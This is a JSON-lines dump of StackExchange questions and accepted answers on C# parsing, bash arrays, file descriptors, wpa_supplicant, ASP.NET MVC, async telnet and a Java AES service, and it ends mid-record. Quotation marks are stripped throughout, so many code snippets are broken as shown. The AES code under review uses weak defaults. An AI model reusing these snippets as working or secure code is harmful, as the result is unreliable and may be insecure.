{  "id": "_codereview.6808"  , "question": "As of now, I am using this code to open a file and read it into a list and parse that list into a string[]:string CP4DataBase = C:\\\\Program\\\\Line Balancer\\\\FUJI DB\\\\KTS\\\\KTS - CP4 - Part Data Base.txt;CP4DataBaseRTB.LoadFile(CP4DataBase, RichTextBoxStreamType.PlainText);string[] splitCP4DataBaseLines = CP4DataBaseRTB.Text.Split('\\n');List<string> tempCP4List = new List<string>();string[] line1CP4Components;foreach (var line in splitCP4DataBaseLines)    tempCP4List.Add(line + Environment.NewLine);string concattedUnitPart = ;foreach (var line in tempCP4List){    concattedUnitPart = concattedUnitPart + line;    line1CP4PartLines++;}line1CP4Components = new Regex(\\UNIT\\,\\PARTS\\, RegexOptions.Multiline)                    .Split(concattedUnitPart)                    .Where(c => !string.IsNullOrEmpty(c)).ToArray();I am wondering if there is a quicker way to do this. This is just one of the files I am opening, so this is repeated a minimum of 5 times to open and properly load the lists.The minimum file size being imported right now is 257 KB. The largest file is 1,803 KB. These files will only get larger as time goes on as they are being used to simulate a database and the user will continually add to them.So my question is: is there a quicker way to do all of the above code?"  , "title": "Speedily Read and Parse Data"  , "tags": "c#;parsing"  , "accepted_answer": "The part of the code that makes it really slow is this:string concattedUnitPart = ;foreach (var line in tempCP4List){  concattedUnitPart = concattedUnitPart + line;  line1CP4PartLines++;}You should not concatenate large strings like that. The string gets longer and longer for each iteration, and it's copied into a new string each time.If you Read a file that is 1.8 MB, that consists of lines which varies between 50 and 100 characters, you will have been copying about 10000MB of data before you have the result.Also, it scales very badly, so when the files grow it will grow slower at an exponential rate. To handle a file that is 5 MB you will be copying about 80 000 MB of data.James suggestion to do a replace seems to be a good option. If you want to split and join, you can use the String.Join method:string[] splitCP4DataBaseLines = CP4DataBaseRTB.Text.Split('\\n');string concattedUnitPart = String.Join(Environment.NewLine, splitCP4DataBaseLines) + Environment.NewLine;"  } 
{  "id": "_unix.232489"  , "question": "I am able to do this, array=(2 46 7 4 2 1 1 1 23 4 5)store=(${array[*]:5:5})echo ${store[@]}  # print 1 1 1 23 4 5Now instead of extracting the 5 elements from position 5 from a user array, I need to extract command-line args from 5 and onward. I tried similar way but I am getting empty outputstore=(${$[*]:5:5})  # <----------------- Something to be changed here?echo ${store[@]}  # EMPTY OUTPUTAny help, how to store n args from position mth onward in a array?"  , "title": "Storing part of command line arguments into user array"  , "tags": "bash;shell;shell script;array"  , "accepted_answer": "In bash (and also zsh and ksh93, the general form of parameter expansion or Substring Expansion is:${parameter:offset:length}If the length is omitted, you will get from offset to the end of parameter.In your case:array=(2 46 7 4 2 1 1 1 23 4 5)store=( ${array[@]:5} )printf '%s\\n' ${store[@]}will generate from 6th element to the last element.With $@:printf '%s\\n' ${@:5}will generate from $5 to the end of positional arguments.Also note that you need to quote the array variable to prevent split+glob operator on its elements.With zsh, you can use another syntax:print -rl -- $argv[5,-1]"  } 
{  "id": "_vi.11250"  , "question": "When typing LaTeX one often needs to type a \\ to invoke a command such as \\omega. One of the nicer features of LaTeX is the ability to define your own commands, which can then be detected by Vim if 'define' is properly set. This will allow completion of these commands with <c-x><c-d>. I would like to avoid typing the \\ too often as it is located rather awkwardly on my keyboard. Therefore I would like to be able to type ome<c-x><c-d> and have vim complete that to \\omega. In other words, I want to be able to complete a word of which I never typed the first character. Is this even possible using the vim completion function or do I need something more capable?Just to be clear, I will of course be remapping <c-x><c-d> in this case, as this is still an awkward combination."  , "title": "autocomplete without typing first character"  , "tags": "autocompletion"  } 
{  "id": "_webapps.78516"  , "question": "When I login to my google account and list the devices that have accessed my account, I see an unknown device access from India. I do not recognize this device and have subsequently changed my password and added two factor authentication. But I still see the same device access my google account less than 2 days ago. I added 2FA about 3 weeks back and have been regularly checking my account access for unknown devices.Any insight into this matter is greatly appreciated."  , "title": "Google account shows unknown device logged in. Password reset and 2FA does not make this device go away"  , "tags": "google account"  } 
{  "id": "_unix.14867"  , "question": "As I read in Wikipedia, Unix started as a revolutionary operating system written mostly in C allowing it to be ported and used on different hardware. Descendants of Unix is mentioned next, mostly BSD. Clones of Unix, Minix/Linux are discussed as well.But what happened to the original Unix operating system?Does it exist as an operating system any more or is it nothing more than a standard like POSIX nowadays?Do note that I am aware of this answer but it has no mention of the fate of the original Unix beyond the derived works."  , "title": "What is Unix now?"  , "tags": "history"  , "accepted_answer": "We can distinguish UNIX the trademark from Unix the code-base.AT&TUnix was initially developed at Bell Labs, owned by AT&T. This Unix team became AT&T's Unix System Laboratories (USL) and produced Unix System V (Roman numeral for five) or SysV for short. The University of California at Berkeley (UCB) also licenced Unix for academic use, their Computer Systems Research Group (CSRG) later made many important changes and additions (notably TCP/IP) in their Berkeley Software Distribution (BSD) which were later incorporated into many descendants of Unix leading to the BSD vs SysV split. Ultimately a lot of the BSD changes were back-ported into SysV (which we can consider the main ancestral Unix code base).Along the way, many different businesses have licenced this code-base (at various stages in it's development) and used it as the basis of their proprietary Unix operating systems - AIX, HPUX, IRIX, Solaris, Ultrix and dozens of others. Novell (Attachmate)USL was purchased by Novell. At this time, the ancestral Unix code was known as Unix system V  release 4 - or SVR4 for short. Novell named their product Unixware to complement the name of their legacy network OS Netware. Novell have been Acquired by Attachmate.The Santa Cruz OperationNovell eventually sold their Unix business to an old SVR3.2 licensee The Santa Cruz Operation (SCO) whose main business up to that point was selling a product named OpenServer that was based on Unix SVR3.2. Novell (since bought by Attachmate) still own some rights to Unix but do not do any work on the source code.Caldera / The Sco Group / TSG Group IncThe Santa Cruz Operation later sold their Unix business to a Linux company Caldera who later renamed themselves to The SCO Group (sometimes referred to as new SCO or SCOG) and who had a disastrous failure of leadership leading to chapter-11 bankruptcy and sale of the Unix business to UnXis, a business formed for this purpose. Subsequently The SCO Group were reorganised into TSG Group Inc and TSG Operations Inc. They have no role regarding maintenance of the ancestral Unix code base. In August 2012 TSG Group Inc converted to chapter 7 bankruptcy.UnXis / XinuosSo now UnXis are responsible for marketing and developing/maintaining Unixware - the ancestral AT&T Unix code base. Because the Santa Cruz Operation (old SCO) originally ported Unix to the x86 platform, I believe x86 and x86_64 are the only target platforms that UnXis directly support. On June 12 2013, UnXis announced it had been renamed Xinuos. Microsoft licensed Unix and ported it to 16-bit Zilog Z8000 - old SCO purchased Xenix from them and ported it to the 16-bit 8086 architecture (used by IBM for their original IBM PC). Old SCO later ported SVR3.2 to x86 as 32-bit SCO-Unix later renamed OpenServer Novell's rights were contested, somewhat futilely, by The SCO Group (now named TSG Group Inc), the bankrupt remnants of the old Linux company Caldera. It is not yet clear whether TSG Group Inc have finally discontinued this and related litigation as a result of August 30, 2011 court decisions against them"  } 
{  "id": "_cs.61247"  , "question": "A friend needs to find the pool balls in an image of a pool table. Would a Hough transform be a good idea? Why/why not? Would RANSAC be better?The question comes from this study guide (http://www.cc.gatech.edu/~afb/classes/CS4495-Spring2015-OMS/), is not homework, and I am not currently taking this class.What I know: RANSAC is least-squares plus a system with voting. We pick the least squares solution that has the least outliers. Hough transform is about finding parametric shapes. You can transform something into Hough space. For a circle you might want to know the radius. If you know more information about your circle (the pool ball) you'll not have as much space to search.I think it makes sense to use Hough transforms in the case of finding pool balls so I am wondering how and why you'd even use RANSAC.Edit: I think you could use RANSAC if you had another image to match to that you knew had pool balls in it. The images would be matched against each other, and the features that came out would be the pool balls. But again, it seems like RANSAC isn't a good idea because it could only fit one model to the whole image."  , "title": "What are the pros and cons of RANSAC versus Hough Transform?"  , "tags": "machine learning;image processing;pattern recognition"  } 
{  "id": "_cs.52123"  , "question": "I am learning the basics of the language C, and so far we have covered up to loops. This question is related to my assignment. The problem is I do not understand what the question is asking.I know the error in the code, but I don't understand what this question is asking me to do? What is an instance? Am I supposed to make a different piece of code? Because I am pretty sure the error is a semantic one(knowledge based rather than syntax). Here is the code anyways just for context: "  , "title": "What is this question asking for?-->Test this code, find an error in the program and construct an instance to demonstrate the error (in C)"  , "tags": "c"  } 
{  "id": "_unix.191967"  , "question": "If I do (in a Bourne-like shell):exec 3> file 4>&3 5> file 6>> fileFile descriptors 3 and 4, since 4 was dup()ed from 3, share the same open file description (same properties, same offset within the file...). While file descriptors 5 and 6 of that process are on a different open file description (for instance, they each have their own pointer in the file).Now, in lsof output, all we see is:zsh     21519 stephane    3w   REG  254,2        0 10505865 /home/stephane/filezsh     21519 stephane    4w   REG  254,2        0 10505865 /home/stephane/filezsh     21519 stephane    5w   REG  254,2        0 10505865 /home/stephane/filezsh     21519 stephane    6w   REG  254,2        0 10505865 /home/stephane/fileIt's a bit better with lsof +fg:zsh     21519 stephane    3w   REG          W,LG  254,2        0 10505865 /home/stephane/filezsh     21519 stephane    4w   REG          W,LG  254,2        0 10505865 /home/stephane/filezsh     21519 stephane    5w   REG          W,LG  254,2        0 10505865 /home/stephane/filezsh     21519 stephane    6w   REG       W,AP,LG  254,2        0 10505865 /home/stephane/file(here on Linux 3.16) in that we see fd 6 has different flags, so it has to be a different open file description from the one on fd 3, 4 or 5, but from that we can't tell fd 5 is on a different open file description. With -o, we could also see the offset, but again same offset doesn't guarantee it's the same open file description.Is there any non-intrusive1 way to find that out? Externally, or for a process' own file descriptors?1. One heuristic approach could be to change the flags of one fd with fcntl() and see what other file descriptors have their flags updated as a result, but that's obviously not ideal nor fool proof"  , "title": "find out which file descriptors share the same open file description"  , "tags": "file descriptors"  } 
{  "id": "_unix.152615"  , "question": "Basically, I am trying to edit my .bashrc such that when I type ls or whatever I type on the console, it will be displayed in Green color. At the same time, all the results / output displayed by ls or other commands (output from a python / java script) will be displayed in a grey color. Is this possible ? What would I need to add into the .bashrc file ? ThanksUPDATE:Well. Thank you very much for the answers and comments:I saw from this this link that I just have to add the following next to the definition of $PS1trap '[[ -t 1 ]] && tput sgr0' DEBUGThen it works. I am not sure there will be any issues. But it seems to work for now. "  , "title": "Bash: How to get different color for the command line and its output?"  , "tags": "bash;bashrc"  } 
{  "id": "_cs.74964"  , "question": "Undergraduate math student here attempting to understand neural networks. Picked up a text on sale, Neural Network Learning and Expert Systems (Gallant), and I'm just starting on the exercises for chapter 1. The full question is:Prove that a network is a feedforward network if and only if its cells are numbered in a way such that:all $p$ input cells are numbered from $1$ to $p$. whenever cell $u_j$ is connected to cell $u_i$, then $j < i$. The definition of a feedforward network, according to Gallant, is a directed network such that there are no cycles between any nodes. I'm confused for a few reasons. This sounds like I'll need at least a basic understanding of graph theory, which I don't have. Any quick and dirty resources that should cover what I need for this kind of material? I don't even know how to represent a network like this mathematically.I'm used to the numbering of things being pretty arbitrary, for example, numbering basis vectors in a set just to differentiate between them. I don't really have an intuitive idea for why the numbering of input cells is a factor in deciding if a network has directed cycles or not.Thanks in advance."  , "title": "Prove a network is a feedforward network if and only if the numbering of its cells satisfy these conditions"  , "tags": "graph theory;machine learning;neural networks"  , "accepted_answer": "Let $G = (V, E)$ with $E \\subseteq V \\times V$ be a directed graph. A cycle is a path of edges $e_1 = (v_1, v_2), e_2=(v_2, v_3), ..., v_n = (e_n, e_1)$ with $e_i \\in E$.Hence, by definition, the second condition means that the graph has no cycles.The first condition is necessary because otherwise there could be hidden nodes receiving input from the input nodes (and not vice versa). One could, of course, simply define input nodes as the nodes of a network which don't have incoming edges. But this might cause problems in the definition of recurrent networks."  } 
{  "id": "_unix.191187"  , "question": "I have not used wpa_supplicant before, so am confused as to whether a valid connection is being made. I used wpa_passphrase to get a psk and made that output my wpa_supplicant.conf. I then connect with:wpa_supplicant -Dwext -iwlan0 -c/etc/wpa_supplicant.confand this is the output:rfkill: Cannot open RFKILL control deviceioctl[SIOCSIWAP]: Operation not permittedwlan0: Trying to associate with e8:04:62:23:57:d0 (SSID='Guest' freq=2412 MHz)wlan0: Associated with e8:04:62:23:57:d0wlan0: WPA: Key negotiation completed with e8:04:62:23:57:d0 [PTK=CCMP GTK=CCMP]wlan0: CTRL-EVENT-CONNECTED - Connection to e8:04:62:23:57:d0 completed (auth) [id=0 id_str=]It seems to connect but there are errors at the start, what do they mean? Do they affect the connection or does this look like I am connected correctly? I ask this as I try to give wlan0 an address with dhcp pr udhcpc and it does not get one, any idea why?I have tried these two wpa_supplicant.conf'snetwork={        ssid=Guest        #psk=xxxxxxxx        psk=<numbers>}andupdate_config=1network={        ssid=Guest        proto=RSN        key_mgmt=WPA-PSK        pairwise=CCMP TKIP        group=CCMP TKIP        psk=<numbers>        }Both give the same thing"  , "title": "wpa_supplicant gives rfkill errors upon connection?"  , "tags": "wifi;wpa supplicant"  , "accepted_answer": "Those two errors of rfkill are by Rfkill, a tool for enabling and disabling wireless devices. Most of the time the kernel does not have rfkill enabled in it. And so there is no /dev/rfkill file present, and rfkill command will give errors like rfkill: Cannot open RFKILL control deviceControl device here means /dev/rfkill"  } 
{  "id": "_datascience.22247"  , "question": "I have written a function for 10 fold crossvalidation that I want to use for different models, e.g PPR, MARS. However, I get an error when running it and I cannot figure out why it does not work? My CV function:    cv10 <- function(reg.fn, formula, dataset, ...){  set.seed(201)  ### Number of observations  nrow <- nrow(dataset)  ### Create a permutation of the observations indices  Ind <- sample.int(nrow,nrow, replace = FALSE)  ### Compute the size of each of the 10 folds  M <- nrow / 10 # 'fold size'  ### Initialize the score  score <- 0  ### The first fold will then contain the observations which correspond to..  ### ..the indices of the first M elements of Ind.  for(i in 1:10){    beg <- i*M    end <- (i+1)*M    ### Data to train the model    data.train <- dataset[Ind[-beg:-end],]    ### Data to test the model    data.fold <- dataset[Ind[beg:end],]    ### Fit the model    model <- reg.fn(formula,data=data.train,...)    predicted.y <- predict(model,data.fold)    ### Update the CV-score    score <- sum((predicted.y - data.fold[,1])^2) / M  }  return(score/10)}Testing using ppr:    cv.scores <- numeric(10)### Some codefor(i in 1:10){  score <- cv10(reg.fn = ppr, formula = y~.,                dataset = data, nterms=i)  cv.scores[i] <- scores}cv.scoresThe traceback:>  Error in matrix(NA, length(keep), object$q, dimnames = list(rn,> object$ynames)) : >       length of 'dimnames' [1] not equal to array extent >     4.>     matrix(NA, length(keep), object$q, dimnames = list(rn, object$ynames)) >     3.>     predict.ppr(model, data.fold) >     2.>     predict(model, data.fold) >     1.>     cv10(reg.fn = ppr, formula = y ~ ., dataset = data, nterms = i)The data I am using: structure(list(y = c(23.0551546516262, 27.8893494373006, 3.32468370559938,     -13.5852336127512, -5.14668013186906, -0.489523212484223, -14.328750654513,     -4.26428395686341, -2.75486620989581, 17.3107345018601, 25.6193450849393,     0.605103858286016, -1.30909806542865, 2.03575942172917, -19.1193524499977,     -1.46508279385589, 2.65778970954973, 14.8513018374104, -2.87449028138997,     1.37368992108124, -1.43518738939116, 0.0199676357940499, -1.549025998582,     -4.06263285631006, -9.15130335901099, -2.62794216480131, -1.68473200963303,     3.15144283445608, 7.78027589015824, 9.09732626327383), x1 = c(0.286060694657523,     -0.344546030966432, 0.325763726232689, -1.69658096808073, -1.2854825202758,     -0.0750318862014798, 0.266937353823139, 0.0559340444850217, -2.30403430891787,     0.189004139305415, 0.693296170158882, 0.223809355083932, 0.398456942903131,     1.01347438447768, -0.64785307166209, 0.648452713333917, 0.207342703528518,     0.0643901392726141, 0.669380920067964, -0.374254446133507, -0.244000842201787,     -0.988253138922366, 1.24206047974719, -1.68266602919039, 1.44289062580162,     -0.465439746975312, 0.693661499094998, -0.0877255722586039, -0.955080382553146,     0.170100884691593), x2 = c(-0.343601401483176, -0.924078839603673,     0.973710320640175, 0.0267187344544633, -1.36283892301834, 0.105184057636645,     -0.644019900369909, 0.960031901250783, 0.147336523178527, 0.339467057535232,     -0.192287076626924, 0.0722969316029643, 0.389789911800799, -0.328247051156339,     -0.090450711707476, 0.716681577815978, 0.0626860575507786, -0.69236622624416,     0.584444051353438, -0.0911664147267412, -0.315213328094698, -0.0806856079787168,     0.484583750517842, -0.120406402869962, 0.596077475841207, -0.36353784662963,     -0.780093462571257, 0.324679908484668, 0.508548510215705, -0.193595813912055    ), x3 = c(0.982327855388361, 0.624091435911063, 0.621531522270016,     -0.902870741076395, 0.931325903563023, -1.05264178470207, 0.307132555544596,     0.275469955530981, 2.78596687577565, -0.590390951909848, -0.0257046477898407,     -0.122008374353289, 0.455026913225061, -0.607514744574133, 0.595817459312108,     1.48223488775224, 0.636854208609479, 0.201054337281812, -0.716437866742046,     -2.30960460962945, -1.11690418809942, 0.296611889529358, 0.992033628272787,     -0.769290105905667, -1.4112664763812, 0.972758797977034, 0.680563892580633,     0.0312007101558726, 2.40109797772769, 0.27149586035907), x4 = c(2.87744884192944,     2.97037391737103, 2.04590974515304, -2.09065303439274, -0.886272139381617,     0.258417838253081, -2.48789734393358, -1.14431498106569, 1.52785618370399,     2.43856811150908, 2.88160788919777, 0.143826744519174, -1.32458955561742,     0.850324050989002, -2.63397432630882, -0.270683331415057, 1.85416122945026,     2.19268380571157, -1.33175755385309, 1.08762756781653, 0.7014160878025,     0.907778979744762, -1.3183526317589, 0.718872689176351, -2.21834870846942,     -0.750489700119942, -0.889076801016927, 1.39292777515948, 2.34955989941955,     2.1975970286876), x5 = c(1.48984236368162, 0.869139640762428,     0.748845036625717, 0.351786000608901, -1.47779050566991, -2.3154451409239,     2.20221698212952, 0.414262887380592, 0.244955910040375, 0.429121363729595,     -0.317306195296495, -1.38016320237183, 0.694020488858179, 0.305431051706151,     -0.398558943204744, -1.00163421976715, 1.29024064725421, -0.770948417017754,     0.741664981312622, 0.169399870781162, -1.35676745536567, 0.471865193264912,     0.960859048309877, 1.46760491067668, 1.4378809852526, 0.0349201858899876,     -1.42177690061078, -1.43127605517511, -0.101638629745238, 1.49972397311187    )), .Names = c(y, x1, x2, x3, x4, x5), row.names = c(NA,     30L), class = data.frame)"  , "title": "R - Function for 10 fold crossvalidation"  , "tags": "r;cross validation"  } 
{  "id": "_cogsci.10225"  , "question": "Does the thought process in our mind for solving a problem or bringing out a solution to a problem depend on culture or language?If so, how can these skills be represented and addressed?"  , "title": "Is there evidence for cross-cultural differences in problem solving skills?"  , "tags": "problem solving;linguistics;cross cultural psychology"  } 
{  "id": "_scicomp.4708"  , "question": "I am working on estimating the position and orientation (pose) of a model (rigid object) from its silhouette in an image. For this, I have constructed an error measure between the model in its pose and the silhouette, which looks roughly like:$$\\epsilon ( \\bar{x} ) = \\sum_{\\forall i} \\| f(\\bar{x}, m_i) - s_i \\|^2$$where $\\bar{x}$ is a six-dimensional vector describing the 3D translation and rotations as$$ f( \\bar{x}, p ) = R_{\\bar{x}} \\cdot p + t_{\\bar{x}} $$Ordinarily, this could be nonlinear least squares, however there is a catch: An assignment needs to be made between model-points $m_i$ and silhouette points $c_i$, which complicates the evaluation of the error measure.I am approaching the problem as a general nonlinear optimization problem. I already know that this error measure is continous, but not continously differentiable due to the aforementioned assignment. I do have gradient information however, but this does not take the assignment into account and therefore is not completely accurate.The question: Is there a method which can calculate/approximate and visualize the basins of attractions in this six-dimensional space?If this is absolutely not feasible, is there a method which can calculate/approximate the number of local minima within a bounded region?"  , "title": "Approximating and visualizing basins of attraction"  , "tags": "optimization"  , "accepted_answer": "Visualizing 6 dimensional domains is simply not easy. Unless of course, your uber-dimensional monitor is back form the repairman. Getting parts from the future is never a quick thing to do however, so mine languishes in a back room with my busted Holodeck.Kidding aside, visualizing a basin in 6-d really is not easy. Even computing the limits of a basin of attraction will be difficult. The curse of dimensionality hounds you.Ok, even in a lower number of dimensions, identifying the boundaries of such a basin requires solving MANY optimization problems. After all, a basin of attraction need not be a convex set. It need not be connected. And, since an optimizer, starting from distinct starting values will yield results that are still distinct, you must now do some clustering, testing that the multiple solutions truly are the same.There are other issues of course. Suppose I ask to minimize the function (x-y)^2 in the (x,y) plane? Clearly any point on the line y=x is a solution, and all are equally good. But clustering will have problems here, as they will on any such degeneracies, and identifying degeneracies in 6-d is not always trivial.Finally, you ask about identifying the NUMBER of local minimizers in any bounded region. The is too is quite difficult for a general black box problem. The field of global optimization has been working on problems like this for many years, though I don't think they can give you any hard, easy to compute answers in general."  } 
{  "id": "_codereview.981"  , "question": "Basically, I'm uploading an excel file and parsing the information then displaying what was parsed in a view.using System.Data;using System.Data.OleDb;using System.Web;using System.Web.Mvc;using QuimizaReportes.Models;using System.Collections.Generic;using System;namespace QuimizaReportes.Controllers{    public class UploadController : Controller    {        public ActionResult Index()        {            return View();        }        [HttpPost]        public ActionResult Index(HttpPostedFileBase excelFile)        {            if (excelFile != null)            {                //Save the uploaded file to the disc.                string savedFileName = ~/UploadedExcelDocuments/ + excelFile.FileName;                excelFile.SaveAs(Server.MapPath(savedFileName));                //Create a connection string to access the Excel file using the ACE provider.                //This is for Excel 2007. 2003 uses an older driver.                var connectionString = string.Format(Provider=Microsoft.ACE.OLEDB.12.0;Data Source={0};Extended Properties=Excel 12.0;, Server.MapPath(savedFileName));                //Fill the dataset with information from the Hoja1 worksheet.                var adapter = new OleDbDataAdapter(SELECT * FROM [Hoja1$], connectionString);                var ds = new DataSet();                adapter.Fill(ds, results);                DataTable data = ds.Tables[results];                var people = new List<Person>();                for (int i = 0; i < data.Rows.Count - 1; i++)                {                    Person newPerson = new Person();                    newPerson.Id = data.Rows[i].Field<double?>(Id);                    newPerson.Name = data.Rows[i].Field<string>(Name);                    newPerson.LastName = data.Rows[i].Field<string>(LastName);                    newPerson.DateOfBirth = data.Rows[i].Field<DateTime?>(DateOfBirth);                    people.Add(newPerson);                }                return View(UploadComplete, people);            }            return RedirectToAction(Error, Upload);                              }        public ActionResult Error()        {            return View();        }    }}Not feeling so confident this is the best approach. Any suggestion any of you MVC3 vets have for this aspiring senior programmer? :)"  , "title": "Not feeling 100% about my Controller design."  , "tags": "c#;mvc;asp.net mvc 3;controller"  } 
{  "id": "_softwareengineering.311080"  , "question": "IntentPackages should be designed to perform a single function well. Ideally this means that they should be highly modular and different packages should be able to be 'plugged-in' simply by ensuring that they share a common interface.However, I'm unsure how to do this without creating some kind of dependency between the packages or creating ugly 'integration classes' or a 'common interfaces' package.An Example ConceptI don't want to get too bogged down in domain-level symantics, so I'll use the simple, though slightly contrived, example of an event logger.Package ADoes XYZ and allows for a custom logging object to be provided. To ensure that the logger is valid, Package A contains a PackageA\\Log interface. When a logging object is provided to the classX constructor, it throws an exception if the logger object does not implement PackageA\\Log.Package BDoes ABC and allows for a custom logging object to be provided. To ensure that the logger is valid, Package B contains a PackageB\\Log interface. When a logging object is provided to the classA constructor, it throws an exception if the logger object does not implement PackageB\\Log.Package CA unified logger that provides logging for Package A and Package B... et al.Contains Log object that is built to provide a generic logger for all packages in the application.Current Sub-optimal Ideas:1. Implement neither of the interfaces in the class PackageC\\Log but extend the class for each interface variation (e.g. PackageC\\Loggers\\PackageA extends PackageC\\Log).Problem: Requires more maintenance and means that PackageC will have to be modified for every new package that it interfaces with.2. Implement the interfaces PackageA\\Log and PackageB\\Log directly in the class PackageC\\Log.Problem: If PackageC is re-used in another project, errors will be thrown if either PackageA or PackageB are not present.3. Create a Common Interfaces package and have all packages implement/require those interfaces for their public interfaces.Problem: Massively impractical, would only work for integrating packages that you created; no third party interaction.QuestionHow can PackageC\\Log fulfill the requirements of both PackageA\\ClassX and PackageB\\ClassA?In reality this question is usually more complex since the interfaces required by PackageA and PackageB are probably not the same. So is option 1 (defined above) the only way to solve this? i.e. the package that implements the interface has to write integration classes?"  , "title": "Package Interfaces - Coupling & Re-Usability"  , "tags": "interfaces;code reuse;dependencies;packages;coupling"  , "accepted_answer": "Since actual operations for a logging component will be pretty much the same for any other component/class/... that uses it, it makes sense to only offer one interface from Package C.If Package A and/or Package B require other interfaces for their logging to work, it would make sense to use the Adapter design pattern to connect the interfaces of PackageA\\Log to PackageC\\Log and PackageB\\Log to PackageC\\Log.The interface PackageC\\Log remains generic, while predefined logging interfaces can be connected to it."  } 
{  "id": "_webapps.85182"  , "question": "I am trying to add an alias email address to my current (and quite old) Hotmail account. The current Hotmail service is managed under the Outlook.com umbrella, and it seems like Microsoft won't provide new email accounts under the hotmail.com domain. When trying to add an alias, the domain is pre-set to outlook.com.Is there a way to configure an alias under the Hotmail domain?"  , "title": "How to create an alias email address for the Hotmail domain?"  , "tags": "outlook.com"  } 
{  "id": "_webmaster.100724"  , "question": "Ok so I have my registrar, webhost and cloudflare, now my domain currently points to my host and I want to add cloudflare, and none of this is making sense because my host says they don't support cloudflare usage on their plans so they can't help me and my registrar says to point my domain to cloudflare and from cloudflare to my host. Does this make any sense to anyone??"  , "title": "DNS config for server host and cloudflare"  , "tags": "web hosting;dns;cloudflare"  } 
{  "id": "_unix.143798"  , "question": "Here's the script. It is successful when I run it from the BASH prompt, but not in the script.  Any ideas?When I say fails, I mean the sed regex doesn't match anything, so there is no replaced text. When I run it on the command line, it matches.Also, I might have an answer to this. It has to do with my grep alias and GREP_OPTIONS having a weird interplay.  I'll post back with the details on those.#!/bin/bashfor ((x = 101; x <= 110; x++)); do    urls=${urls} www$x.site.com/configdone;curl -s ${urls} | grep -i Git Commit | sed -r s/.*Git Commit<\\/td><td>([^<]+).*/\\1/g"  , "title": "Why does the same sed regex (after grep) fail when run in a bash script vs bash command line?"  , "tags": "bash;command line;scripting;grep;regular expression"  , "accepted_answer": "I was actually able to figure this out, and I figure I'd add it here for the next googler who bangs their head against the same wall.I had a grep alias and GREP_OPTIONS set. This caused color highlighting to remain on in the script, even when piping to another command. That usually doesn't play nicely with sed.Here's my .alias and options:alias grep='grep -i --color'export GREP_OPTIONS=--color=alwaysSo when running from the script, it doesn't use the aliased command and so forces color to always be on.  So when I checked my alias and saw the --color option (which means auto, which means don't color output that gets piped to another command (like sed).  I was confused because I forgot I had set GREP_OPTIONS as well, so I expected the grep in the script to have color set to auto by default (as it would if I hadn't set the global GREP_OPTIONS). But not so.Here are my new settings (I believe the --color flag to GREP_OPTIONS is redundant, but I leave it there as a reminder):alias grep='grep --color=always'export GREP_OPTIONS=--ignore-case --colorThat way, any time I am on the command line, I'll have highlighting on for all my greps (which is usually what I want).  But in scripts it will default to coloring only when not piped to another command. I'll still have to add --color=always to many of my scripts (since I tend to prefer highlighting in most cases, even when piping to another command, unless I don't ever see the output)."  } 
{  "id": "_unix.10503"  , "question": "How can I list in long format all files (located in a directory) which belong to me (rights) and were modified more than 7 days ago? "  , "title": "Listing all my files modified more than X days ago, in long format"  , "tags": "shell;wildcards"  } 
{  "id": "_softwareengineering.309724"  , "question": "I am wanting to have/ or make a program that runs on a (raspberry pi)computer cluster with one pi executing only video content while the other only handles music, etc under a main program like an AI. Am I in the right direction? Isnt this parallel computing?"  , "title": "Raspberry pi computer cluster question?"  , "tags": "parallel programming"  } 
{  "id": "_codereview.114683"  , "question": "My team and I have a very poor understanding of best practices in relation to telnet. We have Task.Delay and Task.Wait in the code, including async voids and from what I understand those are potential areas that can cause deadlocks and other issues.I'm trying to understand async in relation to running a telnet client. Is this a safe implementation of cancellation tokens and telnet connections?public enum TelnetClientStatus : int{    Unset = 0,    Connected= 1,    Disconnected  = 2,    Failed = 3}public TelnetClientStatus Status { get; set; } = TelnetClientStatus.Unset;public async Task OpenConnection(){    //Don't allow the session to keep trying to open after the 5 seconds    var cancellationTokenSource = new CancellationTokenSource();    cancellationTokenSource.CancelAfter(TimeSpan.FromSeconds(5));    Status = await Task.Run(MakeConnection, cancellationTokenSource.Token);}private async Task<TelnetClientStatus> MakeConnection(){    _streamSocket = new StreamSocket();    _dataWriter = new DataWriter(_streamSocket.OutputStream);    _dataReader = new DataReader(_streamSocket.InputStream)    {        InputStreamOptions = InputStreamOptions.Partial    };    try    {        await _streamSocket.ConnectAsync(new HostName(HostName), Port.ToString());        return TelnetClientStatus.Connected;    }    catch (TaskCanceledException) //All other exceptions need to be investigated not ignored    {        //I understand a connection failed due to timeout, give the app some flag to work with        //Maybe retry the connection?        return TelnetClientStatus.Failed;    }    catch (Exception ex)    {        throw ex;    }}"  , "title": "Async telnet connection over StreamSocket"  , "tags": "c#;asynchronous"  } 
{  "id": "_codereview.134980"  , "question": "I'm not a security expert, but while checking over our AES implementation for our flagship product, I've noticed some strange things, like the output length having a relation with the input length and no apparent use of an IV.@Servicepublic class EncryptionServiceImpl implements EncryptionService {    /** The logger for this class */    private static final Logger LOGGER = new Logger(EncryptionServiceImpl.class);    /** There's one and only one instance of this class */    private volatile static EncryptionServiceImpl INSTANCE;    /** True if EncryptionService is initialized. */    private boolean isInitialized = false;    private Cipher cipherEncrypt;    private Cipher cipherDecrypt;    private String keyHex;    /**     * Constructor is private, use getInstance to get an instance of this class     */    private EncryptionServiceImpl() {        initialize();    }    /**     * Returns the singleton instance of this class.     *      * @return the singleton instance of this class.     */    public static EncryptionServiceImpl getInstance() {        if (INSTANCE == null) {            synchronized (EncryptionServiceImpl.class) {                if (INSTANCE == null) {                    INSTANCE = new EncryptionServiceImpl();                }            }        }        return INSTANCE;    }    /**     * Initialize EncryptionService.     */    private synchronized void initialize() {        if (!isInitialized){            // Get key from SystemSettings.            SystemSettingsService systemSettingsService = (SystemSettingsService) ServiceFactory.getInstance().createService(SystemSettingsService.class);            keyHex = systemSettingsService.getScmuuid();            byte[] keyBytes;            // If keyHex is not blank (field scmuuid already exists in the database):            if (StringUtils.isNotBlank(keyHex)) {                keyBytes = hexToBytes(keyHex);                SecretKeySpec secretKeySpec = new SecretKeySpec(keyBytes, AES);                try {                    cipherEncrypt = Cipher.getInstance(AES);                    cipherDecrypt = Cipher.getInstance(AES);                    cipherEncrypt.init(Cipher.ENCRYPT_MODE, secretKeySpec);                    cipherDecrypt.init(Cipher.DECRYPT_MODE, secretKeySpec);                } catch (InvalidKeyException e) {                    throw new InitializationFailureException(                            Failure to generate a new encryption key., e);                } catch (NoSuchAlgorithmException e) {                    throw new InitializationFailureException(                            Failure to generate a new encryption key., e);                } catch (NoSuchPaddingException e) {                    throw new InitializationFailureException(                            Failure to generate a new encryption key., e);                }                //EncryptionService is initialized.                isInitialized = true;            } else {                /*                 * If 